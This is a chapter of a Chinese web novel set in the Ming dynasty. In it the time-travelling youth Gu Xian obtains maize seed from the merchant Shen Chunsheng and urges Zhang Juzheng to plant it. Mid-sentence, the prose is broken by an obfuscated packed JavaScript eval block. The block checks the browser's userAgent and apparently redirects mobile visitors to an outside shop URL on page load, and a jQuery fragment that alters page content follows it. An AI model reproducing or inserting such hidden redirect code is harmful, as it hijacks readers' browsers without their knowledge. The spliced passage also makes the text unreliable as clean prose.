都说宰相门前七品官,宰相家看门的尚且如此,何况是被张居正默许每日赶着鹅送他到宫门的妻弟? 李贽察觉同僚态度的转变,心中却没有半分欣喜,反倒觉得这些满口仁义道德的家伙有些可笑。 张居正一入阁,连他身边的家仆游七都被人捧起来了,据说聚会时这些平日里最讲究身份地位、瞧不起这个瞧不起那个的同僚对着游七一口一个“楚滨先生”。 李贽向来不会被邀请去聚会,一直没亲眼见识过他们这种转变,没想到今天居然因为跟顾闲这么个半大小子成了朋友而享受到了类似的待遇。 这些年李贽冷眼旁观,只觉天底下最趋炎附势之人怕是都在这大明官场中。 对同僚们突如其来的亲近,李贽一概都不搭理,仍是我行我素地做自己的事。 中途李贽感觉自己有点饿了,打开顾闲塞给他的那包绿豆糕尝了一块,顿觉五脏六腑都得到了抚慰。 其实昨儿尝到顾闲给的粽子时,李贽就有这样的感觉。 仿佛短暂地从处处都是罪恶与苦难的阿鼻地狱里被带回了人间,心中那盘桓不去的对世俗、对时局的愤懑消散了大半。 也许这人世间仍有许多值得追寻的美好事物? …… 顾闲每日忙着做菜、读书、写功课,时间不知不觉过去了好些天,这日清早他正要去法华寺寻王世贞交作业,却听到斜刺里传来一声叫唤:“闲哥儿!” 顾闲循声转过头,喜笑颜开地跑向那候在路旁等他的青年:“春生你什么时候来京师了?” 来人姓沈,名唤春生,祖上也是出过官的,不过他这一支负责族中各项营生,沈春生从小就被作为接班人培养,在许多人心里已经打上了商人的烙印。 虽说明朝没有明令规定商贾不得参加科举,商贾子弟更是遍布朝廷(比如张四维、王崇古、杨博他们这个互为姻亲的晋商集团),但是如果是商贾本人去参加科举,很多人都不愿意给他们作保。 士农工商,商贾始终是末流。当官府想起你的时候,估计就是想要你捐款建设本地了! 家族中的分工注定沈春生这辈子无缘于科举。 不过他自己也喜欢经商,顾闲此前做出成色更佳的白糖便是他拿去当做生意的敲门砖了。普通人吃不起昂贵的白糖,但达官贵人、乡绅豪强永远不会嫌弃更高品质的享受。 沈春生熟知顾闲性情 ,笑着回道:“我也是昨儿才到,今儿一早便来找你了。” 顾闲听后顿时满意了,高兴地与他叙话。 沈春生这趟来京师是为了生意上的事,他没打算拉顾闲来经商,只挑拣着顾闲爱听的话题与他讲了:“你说的玉米我寻到了,福建一些山民有种,当地人叫它‘番麦’,说是从佛郎机人那里得来的,番薯倒是没找着。” 顾闲两眼一亮:“我前些天还惦记着呢,你就给我带来了这样的好消息!” 21.第 21 章 玉米这东西不能多吃,吃多了不好消化。 即便做成了窝窝头,那也是口感粗糙,稍微放久了就难以下咽,要不然后来也不会说那些个命苦的人是“吃窝头的命”了。 只不过偶尔煮上几根,那滋味也是很不错的。再精细一些,可以拿来炖汤、做玉米饼或者榨汁喝,但无一例外,都是得加肉、放油或者添奶,穷人家还是吃不起。 顾闲过去也是跟着他师父兼亲戚,才有机会见识水煮玉米和窝窝头以外的做法。 只不过有窝窝头吃总比饿死好。 但凡日子还能过下去,都没有人愿意卖掉祖田——乃至于卖儿鬻女。 明末官吏腐败、战事频发、气候恶劣,内忧外患、天灾人祸接踵而至,连皇帝都绝望地吊死在煤山的歪脖子树上,更何况是大江南北的芸芸众生? 仔细算算,距离皇朝末年已不到八十了,他若是活得久一些,说不准也得一路南逃,以九十高龄吃上腾冲大救驾。 顾闲依稀记得现在还在最小的小外甥(刚满月没多久)张允修,在明末张献忠部属打到江陵时不肯出仕为官,留下绝命书自杀了。 可见即使从近乎那场抄家灭族的惨祸里活下来,未来也未必平坦。 覆巢之下,焉有完卵! 张献忠和李自成都是农民起义领袖,带领的大多是失地农民,这支军队从起义之初起便没有退路,从起义之初起便满含愤怒。 大明王朝的落幕与这一股股声势浩大的“匹夫之怒”脱不了关系,正是遍地的农民起义使得整个王朝分崩离析,给了外敌可乘之机。 张居正所主持的改革虽然短暂地缓解了朝廷的财政危机,但到底还是治标不治本,依然有越来越多的农民失去了赖以生存的土地。 顾闲想想张居正未来即将接手的那么大一个烂摊子,忍不住在心里直摇头。 难怪张居正才年过半百就没了,这搁谁都得愁秃头啊。即便再努力地缝缝补补也没用,说不准这边补好那边又破! 唉,事已至此,还是整点玉米做窝窝头吧! 顾闲一脸期待地看向沈春生:“你带了种子吗?我找地方种点儿尝尝!” 这个时节即便是气候温暖的南方,玉米也是没现成的,何况运过来也不新鲜,所以顾闲直接讨要种子。 沈春生掏出个不算大的布袋递给他:“带来了,不过张阁老在京师应当没有田产,我正好准备在城郊租个田庄,这点你种着玩,剩下的不如一并到庄子上种算了。” 天子脚下赚钱的门路多得很,许多手握田产的人并不需要地里刨食,仔细找找可以租到不错的田。 今年开了海禁,许多以前不能过明路的生意兴许能做到京师来了,沈春生便准备在京师弄个庄子,一方面当仓库,一方面也有个地方落脚,若是要多待个十天半个月,住店总不如自家庄子待着舒服。 至于地里收成是多是少反而不重要,几袋粮食能值多少钱? 顾闲听得直点头,积极说道:“五月收了麦整整地趁早种下去了,只消一两个月便知晓京师这边适不适合种玉米了。”他一脸的期待,“等到秋天,我喊姐夫一起去掰玉米棒子!” 沈春生:“……” 这下不得不把庄子收拾好点了。 他一点都不怀疑顾闲能不能把人请来,毕竟从小到大就没几个人能拒绝得了顾闲的邀请。 记得当初文徵明都八九十岁的人了,还曾被他邀请去摘别人家的果子,说是他负责上树摘,文徵明负责在树下接着,果树主人见文徵明这么老便不会再追究了! 估计文徵明一辈子都没干过这种事,那次偏就笑呵呵地坐在树底下等着他扔果子下来。巧的是,顾闲当初相中的果子就是他们沈家的。 事实上这乡里乡亲的,只要不是贪心得大把大把地摘去卖,路过想摘点果子吃一般都不打紧。 不过沈春生对顾闲把文徵明给哄来当同伙这事儿印象太深了,过去这么些年都没忘记。 顾闲与沈春生说了许久的话,才收下了沈春生帮忙捎来的家书与他分别。 等走出几步,他又想起自己揣着的绿豆糕,于是折返回来给沈春生送了一份,说是自己新做的。 沈春生笑着收下,立在原地目送他走远了,才去忙自己的事。 顾闲到了法华寺,与王世贞说起自己路上遇到朋友才来这么晚。更重要的是,最后一包绿豆糕也顺手送给朋友了! 顾闲边说还边露出“看来我没法偷姐夫家的绿豆糕给你吃了”的遗憾。 王世贞:“……” 真不想读懂他那表情。 当天顾闲收获了双倍功课,回到家后还和张敬修他们嘀咕:“没想到老师他这么喜欢绿豆糕,没吃上就要给我加作业!” 张敬修兄弟几人:?! 王世贞这位在士林之中声誉极高的前辈,居然因为没吃上绿豆糕而做出这样的事? 这确实没想到。 等到张居正归来,顾闲又跟他讲了一遍。 瞧顾闲这准备给认识的人全嚷嚷一遍的势头,张居正估摸着王世贞要是知道了肯定会后悔。 只不过稍微给他多布置点功课,自己一世清名都快保不住了! 张居正道:“你既然给了旁人,又何必跟你老师讲?” 他感觉顾闲有时候做的事以及说的话纯粹是在讨打。 顾闲听了也觉自己不对在先,总算是消停了,改为与张居正说起秋天去庄子玩的事。 “姐夫你肯定没掰玉米棒子,到时候一起去玩耍吧!” 顾闲积极怂恿。 张居正的确没听说过什么玉米棒子,听顾闲说这作物是番邦传进来的,产量不算低,还不怎么挑地,便也上了心。 他说道:“若是真有这样的好作物,到时候我一定去看看。” 提到吃的,顾闲讲得头头是道:“我记得辽东、云贵、两广这些地区山地多,许多地方根本凑不出整田来,挺适合开荒种玉米作为补充,也不占原本的土地。若是大家能吃习惯,平原地区也是能种的!” 张居正后来推广“一条鞭法”,这名头听起来有些云里雾里,实际上核心非常简单:甭管是田税还是徭役都合并征收银钱,不许再另起名目搞摊派。 老百姓每年只要按时交了这份钱,就可以安心过自己的日子了! 这种只收银钱的举措,一改以前麻田收麻布、桑田收生丝、麦田收麦子、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15912192|174837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 稻田收稻谷的税法,大大方便了各地官府的征收、统计、运输,不仅国库快速充盈起来,整个大明的经济也迎来了短暂的复苏。 到那时候官府只收现钱,地里种什么就由老百姓自己决定了,选择改种经济作物的人不在少数。 听起来是件好事,但是这里头也有不小的风险。 想想看,若是经济作物卖不出价砸手里了,全家老小一整年的吃喝都没着落了! 引种玉米让大伙多个补种选择,也算是提高小老百姓的抗风险能力。 辽东、两广、云贵等地最容易出现农民起义,要是张居正改革时能恢复屯田法,在这些地方从军屯往外推广玉米,不仅军饷有了保底,当地土著的日子兴许也能过得更舒坦、更安稳。 还是那句话,吃好穿好,日子过得好,普通老百姓谁愿意冒着杀头的风险跟着造反? 也许最终用处不算特别大,但也聊胜于无! 顾闲剔除关于张居正改革的内容,把这些考虑如此这般如此这般地给张居正讲了一遍,才目光熠熠地望着张居正说:“所以姐夫你到时候一定要腾出空跟我去掰玉米棒子哟!” 本来越听越认真的张居正:? 你从市场经济讲到边防政策,最后还是邀请我去掰玉米棒子? 改天得单独和王世贞聊聊,感觉这小子作业还是太少了,可以多出些时政策论题看看他有什么新鲜见解。 写成文章的话,他总不能写着写着又提起那什么玉米棒子吧? 过了几日,沈春生把庄子安排妥了。 府中本就有马,顾闲早早与王氏打了招呼,又去跟王世贞告了个假,骑着马与沈春生一同出城玩耍去。 五月正是农忙时节,田间地头都是农人忙碌的身影,连小孩子都在旁边帮忙。 顾闲看着这一派田园风光,有点怀念小时候光着脚丫到处撒野的日子。 当然,想念归想念,真要他去种地他也不乐意。 这日日面朝黄土背朝天地耕作,种出来那点东西还不够他自己吃的。顾闲早想好了,若是考不到功名他便去找个掌勺的活计干,怎么都比耕地强! 顾闲把自己的想法给沈春生讲了。 沈春生道:“你先用心筹备科考,我还等着你考上了多买些地挂你名下。” 顾闲:! 这还没考上进士呢,官商勾结的交易就已经找上门了! 难怪有人说随便抓个当官的来枪毙,估计都没一个是冤枉的。 大家都在这种氛围下科举入仕,能有几个人会选择不要这到嘴的好处? 你这么清正廉明,别人怎么敢带你玩?万一你哪天突然掀桌,别人还怎么吃饭? 断人财路,如杀人父母! 你既然不想跟我们一桌,那就滚回家种地去吧。 顾闲道:“再说吧,我还不知能不能考上呢。” 沈春生道:“你打小就聪明,只要你肯用心肯定能高中。” 两人边聊边走,很快到了庄子上。庄上最早的那批新麦已经晒得差不多了,有人正在磨新麦粉。 顾闲远远瞧见了,顿时忘了刚才那些过于遥远的苦恼,栓好马屁颠屁颠地跑过去看人家磨面。